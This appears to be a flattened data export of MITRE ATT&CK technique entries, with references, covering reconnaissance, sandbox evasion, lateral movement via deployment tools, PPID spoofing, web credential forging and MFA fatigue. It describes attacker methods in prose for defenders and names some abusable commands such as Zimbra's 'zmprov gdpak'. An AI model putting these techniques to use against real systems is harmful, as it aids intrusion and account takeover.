source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 source_name: Microsoft MOF May 2018 description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020. url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof- | kill_chain_name: mitre-attack phase_name: persistence | Windows |
Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.
Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)). | enterprise-attack | CDNs | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1596/004 external_id: T1596.004 source_name: DigitalShadows CDN description: Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020. url: https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/ | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) | enterprise-attack | User Activity Based Checks | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1497/002 external_id: T1497.002 source_name: Deloitte Environment Awareness description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc source_name: Sans Virtual Jan 2016 description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019. url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 source_name: Unit 42 Sofacy Nov 2018 description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ source_name: FireEye FIN7 April 2017 description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | kill_chain_name: mitre-attack phase_name: discovery | Linux |
Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
Creating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003) may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002) to register with the cloud provider. | enterprise-attack | Cloud Accounts | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1585/003 external_id: T1585.003 source_name: Awake Security C2 Cloud description: Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022. url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ | kill_chain_name: mitre-attack phase_name: resource-development | PRE |
Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager.
Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.
SaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Azure AD.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)
Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)
The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality. | enterprise-attack | Software Deployment Tools | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1072 external_id: T1072 source_name: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation description: ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023. url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem source_name: SpecterOps Lateral Movement from Azure to On-Prem AD 2020 description: Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023. url: https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d source_name: Mitiga Security Advisory: SSM Agent as Remote Access Trojan description: Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024. url: https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan | kill_chain_name: mitre-attack phase_name: lateral-movement | Linux |
Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications. | enterprise-attack | Exfiltration Over C2 Channel | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1041 external_id: T1041 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | kill_chain_name: mitre-attack phase_name: exfiltration | Linux |
Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) | enterprise-attack | Parent PID Spoofing | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/004 external_id: T1134.004 source_name: XPNSec PPID Nov 2017 description: Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019. url: https://blog.xpnsec.com/becoming-system/ source_name: CounterCept PPID Spoofing Dec 2018 description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019. url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/ source_name: Microsoft UAC Nov 2018 description: Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019. url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works source_name: Microsoft Process Creation Flags May 2018 description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019. url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags source_name: Secuirtyinbits Ataware3 May 2019 description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019. url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3 source_name: DidierStevens SelectMyParent Nov 2009 description: Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019. url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ source_name: CTD PPID Spoofing Macro Mar 2019 description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019. url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ | kill_chain_name: mitre-attack phase_name: privilege-escalation | Windows |
Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | enterprise-attack | Gather Victim Org Information | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1591 external_id: T1591 source_name: ThreatPost Broadvoice Leak description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020. url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/ source_name: SEC EDGAR Search description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. url: https://www.sec.gov/edgar/search-and-access | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.
Adversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)
Once forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) | enterprise-attack | Forge Web Credentials | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1606 external_id: T1606 source_name: AWS Temporary Security Credentials description: AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html source_name: Unit 42 Mac Crypto Cookies January 2019 description: Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. url: https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ source_name: GitHub AWS-ADFS-Credential-Generator description: Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020. url: https://github.com/damianh/aws-adfs-credential-generator source_name: Microsoft SolarWinds Customer Guidance description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ source_name: Pass The Cookie description: Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019. url: https://wunderwuzzi23.github.io/blog/passthecookie.html source_name: Zimbra Preauth description: Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023. url: https://wiki.zimbra.com/wiki/Preauth | kill_chain_name: mitre-attack phase_name: credential-access | SaaS |
Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.
Adversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)
In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe) | enterprise-attack | Multi-Factor Authentication Request Generation | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1621 external_id: T1621 source_name: Russian 2FA Push Annoyance - Cimpanu description: Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022. url: https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/ source_name: MFA Fatigue Attacks - PortSwigger description: Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022. url: https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications source_name: Suspected Russian Activity Targeting Government and Business Entities Around the Globe description: Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022. url: https://www.mandiant.com/resources/russian-targeting-gov-business source_name: Obsidian SSPR Abuse 2023 description: Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024. url: https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/ | kill_chain_name: mitre-attack phase_name: credential-access | Windows |